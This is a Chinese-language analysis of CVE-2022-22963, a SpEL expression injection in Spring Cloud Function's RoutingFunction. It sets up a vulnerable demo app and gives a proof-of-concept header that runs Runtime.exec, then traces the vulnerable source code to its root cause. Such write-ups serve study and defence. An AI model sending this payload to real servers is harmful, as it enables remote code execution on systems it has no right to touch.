

Spring Cloud Function 是基于 Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
漏洞是出在SpringCloud Function的RoutingFunction功能上,RoutingFunction可以通过在HTTP请求header中添加spring.cloud.function.definition参数的方式与单个方法进行交互。
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression" 参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
JDK:11.0.13
SpringBoot:2.6.6
Spring Cloud Function : 3.2.2


项目创建成功之后,在pom.xml中添加如下依赖
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
Java
拦截请求并修改参数
请求方式:POST
请求URI:/functionRouter
Header参数:
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Java


functionRouter
在Application.java文件中添加如下内容
@SpringBootApplication
public class Cve202222963Application {
@Bean
public Function<String,String> uppercase(){
return value -> value.toUpperCase();
}
@Bean
public Function<String,String> reverse(){
return value -> new StringBuilder(value).reverse().toString();
}
public static void main(String[] args) {
SpringApplication.run(Cve202222963Application.class, args);
}
}
Java
在application.properties文件中添加内容
spring.cloud.function.definition=uppercase
Java
发送请求得到如下结果

当配置该属性为uppercase时,访问根路径提交的参数会自动被uppercase函数接受转化为大写
definition属性就是一个默认路由, 可以手动指定相关函数,也可以使用functionRouter ,指定的方式可以是配置文件、环境变量或者启动参数等。
如果设置为functionRouter则默认路由绑定的具体函数交由用户进行控制,在 Spring Cloud Function Web里面,可以通过设置http头的方式来控制,使用
spring.cloud.function.definition 和spring.cloud.function.routing-expression 都可以,区别是后者允许使用Spring表达式语言(SpEL)。
若不在application.properties文件中添加内容,则可以在HTTP请求header中添加参数,
eg:

SpringCloud Function之所以能自动将函数建立http端点,是因为在包mvc.FunctionController中使用/** 监听了get/post类型的所有端点。


//FunctionController#post
@ResponseBody
public Object post(WebRequest request, @RequestBody(required = false) String body) {
return FunctionWebRequestProcessingHelper.processRequest(this.wrapper(request), body, false);
}
Java
Controller首先会将请求使用wrapper进行包装,wrapper就是将request转成FunctionInvocationWrapper 格式。
随后进入processRequest 对request进行处理
//FunctionWebRequestProcessingHelper#processRequest
public static Publisher<?> processRequest(FunctionWrapper wrapper, Object argument, boolean eventStream) {
FunctionInvocationWrapper function = wrapper.getFunction();
HttpHeaders headers = wrapper.getHeaders();
Message<?> inputMessage = argument == null ? null : MessageBuilder.withPayload(argument).copyHeaders(headers.toSingleValueMap()).build();
if (function.isRoutingFunction()) {
function.setSkipOutputConversion(true);
}
Object input = argument == null ? "" : (argument instanceof Publisher ? Flux.from((Publisher)argument) : inputMessage);
Object result = function.apply(input);
if (function.isConsumer()) {
if (result instanceof Publisher) {
Mono.from((Publisher)result).subscribe();
}
return Mono.just(((BodyBuilder)ResponseEntity.accepted().headers(HeaderUtils.sanitize(headers))).build());
} else
......
}
}
Java
在第一个if处判断当前请求是否为RoutingFunction,随后将请求的内容和Header头编译成Message带入到FunctionInvocationWrapper.apply方法中,随后又进入其中的doApply方法
//SimpleFunctionRegistry#FunctionInvocationWrapper#apply()
public Object apply(Object input) {
if (SimpleFunctionRegistry.this.logger.isDebugEnabled() && !(input instanceof Publisher)) {
SimpleFunctionRegistry.this.logger.debug("Invoking function " + this);
}
Object result = this.doApply(input);
if (result != null && this.outputType != null) {
result = this.convertOutputIfNecessary(result, this.outputType, this.expectedOutputContentType);
}
return result;
}
Java
//SimpleFunctionRegistry#FunctionInvocationWrapper#doApply()
Object doApply(Object input) {
input = this.fluxifyInputIfNecessary(input);
Object convertedInput = this.convertInputIfNecessary(input, this.inputType);
Object result;
if (!this.isRoutingFunction() && !this.isComposed()) {
if (this.isSupplier()) {
result = ((Supplier)this.target).get();
} else if (this.isConsumer()) {
result = this.invokeConsumer(convertedInput);
} else {
result = this.invokeFunction(convertedInput);
}
} else {
result = ((Function)this.target).apply(convertedInput);
}
return result;
}
Java
//RoutingFunction#apply
public Object apply(Object input) {
return this.route(input, input instanceof Publisher);
}
Java
//RoutingFunction#route
private Object route(Object input, boolean originalInputIsPublisher) {
FunctionInvocationWrapper function = null;
if (input instanceof Message) {
Message<?> message = (Message)input;
if (this.routingCallback != null) {
FunctionRoutingResult routingResult = this.routingCallback.routingResult(message);
if (routingResult != null) {
if (StringUtils.hasText(routingResult.getFunctionDefinition())) {
function = this.functionFromDefinition(routingResult.getFunctionDefinition());
}
if (routingResult.getMessage() != null) {
message = routingResult.getMessage();
}
}
}
if (function == null) {
if (StringUtils.hasText((String)message.getHeaders().get("spring.cloud.function.definition"))) {
function = this.functionFromDefinition((String)message.getHeaders().get("spring.cloud.function.definition"));
if (function.isInputTypePublisher()) {
this.assertOriginalInputIsNotPublisher(originalInputIsPublisher);
}
} else if (StringUtils.hasText((String)message.getHeaders().get("spring.cloud.function.routing-expression"))) {
function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message);
if (function.isInputTypePublisher()) {
this.assertOriginalInputIsNotPublisher(originalInputIsPublisher);
}
} else if
........
} else {
........
}
}
} else if (input instanceof Publisher) {
........
} else
.......
}
return function.apply(input);
}
Java

判断了请求headers头中有没有spring.cloud.function.routing-expression参数
并将结果带入到this.functionFromExpression()方法中
//RoutingFunction#functionFromExpression
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {
Expression expression = this.spelParser.parseExpression(routingExpression);
if (input instanceof Message) {
input = MessageUtils.toCaseInsensitiveHeadersStructure((Message)input);
}
String functionName = (String)expression.getValue(this.evalContext, input, String.class);
Assert.hasText(functionName, "Failed to resolve function name based on routing expression '" + this.functionProperties.getRoutingExpression() + "'");
FunctionInvocationWrapper function = (FunctionInvocationWrapper)this.functionCatalog.lookup(functionName);
Assert.notNull(function, "Failed to lookup function to route to based on the expression '" + this.functionProperties.getRoutingExpression() + "' whcih resolved to '" + functionName + "' function name.");
if (logger.isInfoEnabled()) {
logger.info("Resolved function from provided [routing-expression] " + routingExpression);
}
return function;
}
Java
最终直接由SpelExpressionParser来解析,导致Spel表达式注入。

整个逻辑中由于完全信任从最开始传入的header信息,并且在解析SpEL表达式时候的evalContext使用的是功能更强同时安全隐患较大的StandardEcalutionContext
public RoutingFunction(FunctionCatalog functionCatalog, FunctionProperties functionProperties, BeanResolver beanResolver, MessageRoutingCallback routingCallback) {
this.evalContext = new StandardEvaluationContext();
this.spelParser = new SpelExpressionParser();
this.functionCatalog = functionCatalog;
this.functionProperties = functionProperties;
this.routingCallback = routingCallback;
this.evalContext.addPropertyAccessor(new MapAccessor());
this.evalContext.setBeanResolver(beanResolver);
}
Java
| “由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。”



